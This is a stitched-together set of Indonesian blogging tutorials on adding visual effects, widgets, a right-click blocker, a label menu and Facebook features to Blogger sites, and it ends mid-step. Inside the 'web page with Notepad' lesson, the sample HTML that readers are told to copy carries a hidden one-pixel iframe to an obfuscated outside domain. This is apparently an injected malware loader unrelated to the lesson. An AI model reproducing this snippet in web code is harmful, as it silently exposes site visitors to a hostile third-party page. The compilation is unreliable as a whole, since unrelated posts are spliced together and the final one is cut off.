Twitter

Kumpulan Efek - Efek Blog ( Lengkap ) - Memang selalu ada cara untuk mempercantik penampilan blog. Setelah sebelum memposting cara memasang animasi di blog, kali ini saya akan kasih sobat berbagai macam / jenis efek - efek blog yang bisa di pasang di blog.

Sebelum kita masuk ke intinya, terlebih dahulu saya ingatkan pada sobat  bahwa efek, animasi dan widget - widget serupa akan menambah beban loading blog sobat, jadi mohon di perhitungkan sebelum sobat memasang efek ini. Efek yang akan saya posting kali ini, akan saya bagi 2 yaitu efek ringan ( loading ringan ) dan efek menegah hingga berat. ( kayak tinju aja.. ) .

Sobat yang tertarik memasangnya silahkan ikuti tutorial memasang efek - efek pada blog berikut.

A. Efek Ringan
Mungkin Ini adalah efek yang biasa sobat lihat saat sobat blogwalking.

1. Efek salju berjatuhan

<script src='http://tateluproject.googlecode.com/files/snow.js' type='text/javascript'></script>

2. Efek hati bertaburan
<script src='http://tateluproject.googlecode.com/files/lovingheart.js' type='text/javascript'></script>

3. Efek bintang bertaburan
<script src='http://tateluproject.googlecode.com/files/bintang.js' type='text/javascript'></script>

4. Efek kembang api
<script src='http://tateluproject.googlecode.com/files/kembangapi.js' type='text/javascript'></script>

5. Efek Gelembung
<script src='http://tateluproject.googlecode.com/files/efek-gelembung.js' type='text/javascript'></script>

5. Efek Kupu - Kupu Terbang
<script language="JavaScript1.2" src="http://imtikhan.googlecode.com/files/Kupu-kupu1.js"></script>

Cara pemasangan :
  1. Klik rancangan --> Edit html
  2. Letakkan script efek di atas kode </body>
  3. Klik Save

B. Efek Menengah - Berat
Efek ini saya ambil dari http://www.netdisaster.com. Untuk demo dari salah satu script berikut, silahkan lihat di sini.. DEMO

1.Meteor Jatuh
<script language="javascript">
nd_mode="meteor";
nd_control="on";
nd_sound="on";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

 2. Banjir
<script language="javascript">
nd_mode="flood";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

 3. Bunga Mekar
<script language="javascript">
nd_mode="flowers";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

4.  Bom Atom
<script language="javascript">
nd_mode="bomb";
nd_sound="on";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

5. Ufo
<script language="javascript">
nd_mode="ufo";
nd_sound="on";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

6. Graffity
<script language="javascript">
nd_mode="graff";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

7. Shaver
<script language="javascript">
nd_mode="shaver";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

8. Gun
<script language="javascript">
nd_mode="gun";
nd_sound="on";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

9.Bloody gun
<script language="javascript">
nd_mode="blood";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

10. Paint ball
<script language="javascript">
nd_mode="paint";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

11. Chainsaw
<script language="javascript">
nd_mode="chainsaw";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

12. Dinosaur
<script language="javascript">
nd_mode="dino";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

13. Lebah
<script language="javascript">
nd_mode="wasp";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

14. Lalat
<script language="javascript">
nd_mode="fly";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

15. Semut
<script language="javascript">
nd_mode="ants";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

16. Siput
<script language="javascript">
nd_mode="snail";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

17. Cacing
<script language="javascript">
nd_mode="worms";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

18. Mold
<script language="javascript">
nd_mode="mold";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

19. Bayi merangkak
<script language="javascript">
nd_mode="baby";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

20. Telur mata sapi
<script language="javascript">
nd_mode="eggs";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

21. Kopi tumpah
<script language="javascript">
nd_mode="coffee";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

22. Terbakar
<script language="javascript">
nd_mode="burn";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

23. Tomat
<script language="javascript">
nd_mode="tomato";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

24. Creampie
<script language="javascript">
nd_mode="creampie";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

25. Murka
<script language="javascript">
nd_mode="god";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

26. Sapi Jorok
<script language="javascript">
nd_mode="cow";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

27. Anjing Jorok
<script language="javascript">
nd_mode="dog";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

28. Kencing Sembarangan
<script language="javascript">
nd_mode="pee";
nd_vAlign="bottom";
nd_hAlign="right";
nd_vMargin="10";
nd_hMargin="10";
nd_target="_blank";
</script>
<script language="javascript" src="http://tateluproject.googlecode.com/files/efek.js"></script>
<div style="position: fixed; bottom: 0px; right: 20px;width:100px;height:30px;"><small><center><a href="http://christiantatelu.blogspot.com/2012/03/kumpulan-efek-efek-blog-lengkap.html" target="_blank">Efek Blog</a></center></small></div>

Cara pemasangan :
  1. Klik rancangan --> Elemen laman --> Tambah gadget --> HTML/Javascript
  2. Masukkan script efek di dalam kotak yang di sediakan
  3. Klik save dan lihat hasilnya.
Tambahan :
Efek yang ke 2 berbeda dengan efek yang pertama. di efek ke 2, efek bisa dimatikan secara manual, sedangkan yang pertama sebaliknya ( tidak bisa dimatikan selama masih memasang scriptnya ).  so, pilih mana yang terbaik menurut sobat.. salam..

Kumpulan Efek - Efek Blog ( Lengkap )

Cara Agar Blog Tidak Bisa di Copy Paste - Hai kawan ini adalah postingan pertama ie-usa.blogspot.com soal blogging. Tentunyabagi kawan-kawan blogger yang rajin nulis artikel sendiri. kadang jengkel kan ketika mengetahui ternyata tulisan kita di copy paste oleh orang lain tanpa se izin dari kita. padahal kita kan udah capek capek nulis dan cari inspirasi. Ia kan?



Sebenarnya aktivitas copy paste tidak diharamkan namun, alangkah baiknya jika kita menghargai karya/tulisan dari orang lain. Yah kalao copas jangan full copas lah. misal di tulis ulang dengan kata-kata kita sendiri.

Ok lanjut ke topik bahasan, nah berikut ini ada sedikit tips dari ie-usa.blogspot.com untuk meminimalisir agar postingan blog kita tidak bisa di copy paste oleh orang lain. Cara yang akan saya jelaskan ini adalah dengan cara mendisable klik kanan. langsung Saja :

1. Buka Editor Template mu.
2. Cari kode <head> bisa dengan cara tekan ctrl+f untuk mempermudah pencarian
3. Pastekan kode dibawah ini dibawah kode <head>

<script language=JavaScript>
<!--

//Matikan Klik Kanan

var message="";
///////////////////////////////////
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}

document.oncontextmenu=new Function("return false")
// -->
</script>
4. Save

Udah deh! setelah itu blog kamu tidak akan bisa di klik kanan :) namun cara ini hanya mendisable klik kanan. tetap saja bisa di copy dengan short cut ctrl + c. ntar deh kalau saya sudah menemukan kode yang tambah sip agar blog tidak bisa di copy paste orang lain akan segera saya update postingan ini. terimakasih

Cara Agar Blog Tidak Bisa di Copy Paste Oleh Orang Lain


Login Blogger

- Masuk ke Menu Template Kemudian Edit HTML
- Sobat Cari Kode Seperti dibawah ini (lebih mudah ctrl+F) :
    <data:post.body/>
- Letakan kode berikut tepat dibawah kode <data:post.body/>
<iframe allowTransparency='true' expr:src='&quot;http://www.facebook.com/plugins/like.php?href=&quot; + data:post.url + &quot;&amp;layout=standard&amp;show_faces=false&amp;width=100&amp;action=like&amp;font=tahoma&amp;colorscheme=light&quot;' frameborder='0' scrolling='no' style='border:none; overflow:hidden; width:310px; height:31px;'/>
- Simpan Template.

Keterangan:

Jika dalam pencarian kode <data:post.body/> sobat menemukan lebih dari 1 kode, maka pilih saja kode yang kedua.

Sekian dulu postingan tentang Cara Memasang Tombol Like di Setiap Postingan, semoga dapat bermanfaat bagi sobat :)

Cara Memasang Tombol Like di Setiap Postingan :

Cara Mudah Membuat Menu Label Keren diblog - Tutorial kali ini saya bilang sangat unik, kenapa tidak, tampilan menu ini apabila di klik maka akan memperlihatkan semua entri yang ada dalam label tersebut, tidak seperi label bawaan apabila di klik maka akan melakukan loading dan memberikan hasil entri dalam label tertentu di areal entri ( postingan ), menu label tersebut akan melakukan penyesuain dengan lebar widget tempat menu label ini di letakkan jadi tidak perlu lagi melakukan resize.
Jika sobat bingung kurang lebihnya seperti gambar dibawah ini:
 Nah,, bagai mana sudah ada gambaran? untuk lebih jelasnya ikuti petunjuk dibawah ini dan sobat bisa langsung coba pada blog sobat:

Cara Mudah Membuat Menu Label Keren diblog

- Masuk Keakun Blog sobat
- Pilih Template
- Klik Tombol Edit HTML
- Cari Kode ]]></b:skin> (Gunakan tombol ctrl + f untuk memudahkan pencarian kode)
- Copy kode berikut dan letakan di Atas kode ]]></b:skin>

    #dafis-acc{
    font-family:"Trebuchet MS", Tahoma, Verdana, Arial, Helvetica, sans-serif;
    font-size:12px;
    color:#333;
    background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEw4483XIw3ywmoH6ZnYFuAPNtk2LmBsX9dnX7C8vGkHUCrhaU8Iz36BJDHgCMv25QJSgaAxp1CgY3iExw78cB5B2ZmdwEA4VuJ0aVUz2w7cNCIlQjBPxPXnBFZ9NcgSWEXJPcHKaTqIM/s320/bg5.gif) repeat-y scroll left center #E7F7FB;
    padding:2px 0;
    border:1px solid #339DC6;
    }
    .dafis-label{
    background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0-PMvzAfcjqbMkdcWuSRc2l1soS-HT1NQafQ7eFujPeYl-_y5P0laTwnp8ddeUCkGtca23ieIe01OHu7qD_mAqHfd4gziKBEIHuZtuFBUfOgTjNf2JQkH2yx6q0dBYRYuTFFg20qMj6E/s1600/bg4.gif) repeat-x scroll 0 0 #E1F4FB;
    font-weight:bold;
    line-height:1.4em;
    overflow:hidden;
    white-space:nowrap;
    vertical-align: baseline;
    margin: 1px 3px;
    outline: none;
    cursor: pointer;
    text-decoration: none;
    padding: 2px 10px;
    color: #fff;
    text-shadow: 0 1px 1px rgba(0,0,0,.3);
    border:1px solid #2F94BA;
    }
    .dafis-label:hover{
    background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiupyGEK9JV-khYB80wPp2nmiElOXhP2_amq81aFAmaDA82-xQPsyS7iJ5OKF0D9ElShqurXIsFSby9y4N9iBNcf37MMrBV2d3mjI4y35lULildVi517HofmEHq-1F4Z0GU-gQrjohvJeI/s320/bg2.gif) repeat-x scroll 0 0 #E1F4FB;
    color:#003366;
    }
    .dafis-daf ol{
    margin:0 0 0 30px !important;
    padding:0 !important;
    }
    .dafis-daf ol li{
    background-color:#C9E9F4;
    line-height:1.5em;
    margin:1px 3px !important;
    white-space:nowrap;
    text-align:left;
    border:1px solid #339DC6;
    }
    .dafis-daf ol li a{
    text-decoration: none !important;
    color:#333 !important;
    display:block;
    padding-left:10px;
    }
    .dafis-daf ol li a:hover{
    background: #7BC4DF;
    border-left: 5px #333 solid;
    padding-left: 5px;
    text-shadow: 0 1px 1px rgba(0,0,0,.3);
    }
- Sekarang Cari Kode </head>
- Copy dan paste kode berikut Diatas Kode </head>

<script src='http://dapurtutorial8.googlecode.com/files/Scriptdaftarisi1.js' type='text/javascript'/>

- Jika Sudah Klik Tombol Simpan Template
- belum selesai sobat, selanjutnya ikuti petunjuk dibawah ini:

Selanjutnya Letakkan di sidebar


- Sobat masuk dasbord blog sobat pilih Tata Letak --> Add Gadget --> Pilih HTML/JavaScript.
- Masukkan kode dibawah ini kedalam kotak HTML/JavaScript.:
<script type="text/javascript" src="http://dapurtutorial9.googlecode.com/files/Scriptdaftarisi2.txt"></script><script src="http://softwaremaniapc.blogspot.com/feeds/posts/summary?max-results=1000&amp;alt=json-in-script&amp;callback=loadtoc"></script>

Keterangan :
Perhatikan URL yang Berwarn BIRU ganti menggunakan URL blog Anda
- Jangan lupa Save
- selesai dan lihat hasilnya.

Sekian dulu sobat  Cara Mudah Membuat Menu Label Keren diblog, jangan lupa mampir lagi diblog Software Mania PC

::Selamat Mencoba::

Cara Mudah Membuat Menu Label Keren diblog

AchsanBlog - Cara Memasang Jam Dan Kalender di Blog. sobat bagi seorang blogger ada berbagai macam aksesoris yang bisa di tambahkan pada blog  salah satu widget yang mungkin berguna bagi blogger  memasang Jam dan kalender di blog tersebut. widget jam dan kalender ini selain berfungsi untuk menghiasi blog bisa juga bermanfaat untuk mengingatkan atau menunjukkan waktu serta tanggal pada pengunjung. untuk blog saya ini sementara tidak saya pasang, karena tempatnya udah penuh, hehe


Cara Pasang Jam di Blog :


1. Silakan menuju situs http://www.clocklink.com/gallery.php


2. Setelah anda masuk di situsnya pilih “Gallery” jam yang ada, yang ini saya sarankan sesuaikan gallery jam yang di pilih dengan tema blog anda agar lebih seragam, misalkan blog anda membahas mengenai olah raga maka pilih Sports.


3. Pilih model jam yang anda inginkan, misalkan jam berbentuk bola lalu klik “View HTML Tag” yang berada tepat pada gambar jam yang di pilih tersebut.


4. Selanjutnya jika ada keluar halaman persetujuan license, klik saja tombol “Accept”dan akan muncul halaman pengaturan warna, jam serta zise yang di inginkan yang di sertai dengan dua kotak Text box yang berisi scrip kode jam tersebut.


5. Ambil salah satu kode tersebut, dan pastekan dan save langsung di halaman di widget blog anda tergantung di mana anda mau meletakkan jam tersebut.


6. Selamat, anda sudah mempunyai jam sebagai penunjuk waktu di blog anda.



Cara Pasang Kalender di Blog :

1. Silakan menuju situs http://www.free-blog-content.com/

 
2. Selanjutnya pilih tipe kalender yang anda inginkan pada kolom di bagian bawah, yang terdiri dari “Animated Calendars, Nature Calendars, Car Calendars, Abstract Calendars, Girl Calendars, Plain Calendars, Animal Calendars, Calendar with Clock”

 
3. Setelah anda memilih salah satu tipe dan model kalender, anda akan di arahkan ke halaman selanjutnya yang berisi model tampilan kalender serta scrip kode kalender tersebut.

 
4. Ambil salah satu kode kalender yang anda sukai kemudian pastekan dan save di widget blog anda, tergantung di mana anda mau meletakkannya.

 
5. Sekarang di blog anda sudah mempunyai Kalender yang menghiasi blog anda sekaligus mengigatkan tanggal ke pada anda.


semoga bermanfaat !!

Cara Memasang Jam Dan Kalender di Blog

Haii semuahh :)
Sorry lama ga posting, sebenernya banyak yg gue mau cerita, tapi berhubung tugas sekolah lagi numpuk karena gue bolos pelajaran terus (bukan bolos yg negatif sih, soalnya gue panitia dan ikut ikut lomba gitu hehehe..) jadi gue baru bisa posting sekarang. Sorry dorry strawberry TT
Oke salah satu tugas sekolah gue yaitu tugas TIK, disuruh bikin web pake notepad. Emang bisa? Iya bisa. Ternyata notepad yang ada di komputer kita yang hampir ga pernah kita buka itu, bisa juga dipake sekeren-kerennya. So, gue mau share info tersebut dengan anda-andi sekalian (maksa banget kata-katanya, kalo guru bahasa gue ngeliat dikurangin deh nilai gue). Oh ya gue juga mau ingetin, bahwa postingan ini bakal sangat panjang... ato kalo gue berubah pikiran di tengah jalan nanti, gue bakal pisah postingannya jd beberapa bagian. Dan oh ya lagi, gue sebenernya ga ahli ahli banget, jadi kalo ada salah nantinya maap yaa..
Oke, kalo soal awal"nya sih gue yakin kalian udah bisa, tinggal buka notepad aja dari menu start. Nah perhatiin yg ini baik baik. Struktur utama web biasanya begini, anda boleh copas dulu ato ketik sendiri kyk berikut ini, kemudian di save dengan JudulWebAnda.html , ingat harus ada .html nya dan jangan lupa ganti tipe savenya jadi all files :
<html>
<head>
<title>Ketik nama judul atas web yg anda inginkan
</title>
</head>
<body>
</body>
</html>
Biar gue jelasin sedikit, biasanya itu kode" yang sering dipake, tapi kalo head sih jarang dipake orang (loh?!). Nah, jadi kesimpulannya hampir semua kode menggunakan tanda lebih kecil-lebih besar (lagi lagi maksa, padahal tinggal ketik <>) dan kalo bagiannya udah selesai, didepannya di kasih slash alias garing alias garis miring.

Nah buat isinya, anda boleh bikin apa saja. Entah nantinya jadi web untuk jual beli, ato berupa curhatan / mirip blog begini terserah anda. Isi blog anda ditulis setelah kata <body>. Gue bakal bantu dengan ini:
Untuk background web anda, kalo mau pake gambar ketik ini : <body background="JudulGambar.jpg"> Gambarnya harus di save di folder yang sama dengan html web anda tadi. Kalo mau pake warna aja, ketiknya begini <body bgcolor=#KodeWarna> Kode warna bisa langsung diganti kata kyk Blue, Red, dkk tapi kalo mau lebih banyak variasinya, ini link nya : http://camex.wen.ru/Sampel/Warna.html
Oh ya kalo anda mau tulis tulis sesuatu, tinggal tulis aja ga perlu dikasih <>.

Kalo mau ganti warna tulisan, tetep disamping body ketikkan <font color=#KodeWarna>. Kalo ganti stylenya, ketikkan <font face="NamaFont,ContohnyaDiMSWord">. Nah kalo mau ganti sizenya, gue yakin anda udah bisa tebak, tinggal ketik <font size="AngkaSizenya">. Ingat kalo udah ga mau dipake, ketikkan slash disamping tiap katanya. Contoh </font color>. Kalo mau di bold, <B> dan ditutup </B>. Italic <i> dan ditutup </i>. Perlu diingat, ketik kodenya dulu baru kata yang akan dijadikan.

Kalo mau masukin gambar, ketik <img src="JudulGambar.jpg"> atau bisa juga pake URLGambar kalo dari web. Nah kalo mau gambarnya berjalan, cek caranya di : http://www.linksukses.com/2010/05/gambar-berjalan-dengan-html.html. Untuk atur ukuran gambarnya, tulis height=Angka dan width=Angka masih di dalam kurung img src baru ditutup.
Masih bingung? Ini contoh dari saya. coba copas ke notepad anda dan save, ingat pakai .html : 
<Html>
<Head>
<title> Latihan 1</title>
</Head>
<Body Bgcolor= "pink"><font color="brown"><font size="24"><font face="French Script MT"><p align="center"> Latihan 1</font>
<br>
<br>
<marquee bgcolor="#FFC0CB" direction="left" height="200px" scrollamount="5" width="100%">
<img src="Autumn.jpg"height="200px"Width="150px">
</marquee>
<br>
<br><font face="Viner Hand ITC">Testing.. :)</font>
<br><font size="16"><font face="Harrington"> Hi ! Welcome to my web :) Please enjoy !
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

Buka kembali, dan anda akan diantar dalam bentuk web (biasanya kebuka di Firefox). Setelah anda buka, mungkin anda bingung karena gambarnya tidak keluar, hanya berupa kotak dengan gambar kertas robek di ujungnya. Itu karena yang telah saya jelaskan tadi, anda harus punya save an gambar di folder yang sama dengan web anda, dan judulnya harus diketikkan sama persis (yang di notepad dengan yg di folder). Jadi copas-an anda yang dari saya tidak akan berhasil membuka gambarnya karena anda tidak punya gambarnya.
Ternyata sudah cukup panjang, jadii... akan saya lanjutkan di postingan saya yang berikutnya nanti ! Good luck ! :)
Note: Btw, setelah gue baca ulang, ternyata kata kata "gue" gue berubah menjadi "saya". Hahahaha... Jangan dipusingin ya, ga penting, sumpah ga penting.  :p

Cara Membuat Web dengan Notepad

pemberitahuan komentar facebook
Cara Memunculkan Notifikasi Pemberitahuan Komentar Facebook di Blog pada umumnya hampir sama dengan Cara Membuat Komentar Facebook di Blog. Ya, karena kita akan menggunakan aplikasi kometar facebook yang telah kita buat tersebut untuk dilakukan pemberitahuan.

Layaknya seperti komentar di blogger, di facebook juga dapat menghubungkan dan mengatur bagaimana setiap komentar tersebut akan memunculkan pemberitahuan yang masuk ke akun facebook anda. Sebagai admin, kita dapat merubah apakah setiap komentar dapat langsung untuk dipublikasikan atau masuk ke dalam moderasi komentar terlebih dahulu.

Notifikasi ini biasanya bertujuan untuk menyaring komentar-komentar yang dianggap layak untuk ditampilkan atau tidak. Sehingga tidak ada yang menyalahgunakan kotak komentar tersebut untuk membuat spam, promosi dan lain sebagainya.

Cara Memunculkan Pemberitahuan Komentar Facebook di Blog :
1. Anda harus memiliki aplikasi komentar facebook terlebih di dahulu.
    Jika belum anda dapat mengikuti panduannya disini .
2. Login ke Facebook Anda dengan akun yang ada aplikasi komentar facebooknya yang pernah dibuat.
3. Klik Customization Comments Facebook .
4. Maka akan muncul halaman seperti ini :
pengaturan komentar facebook
5.
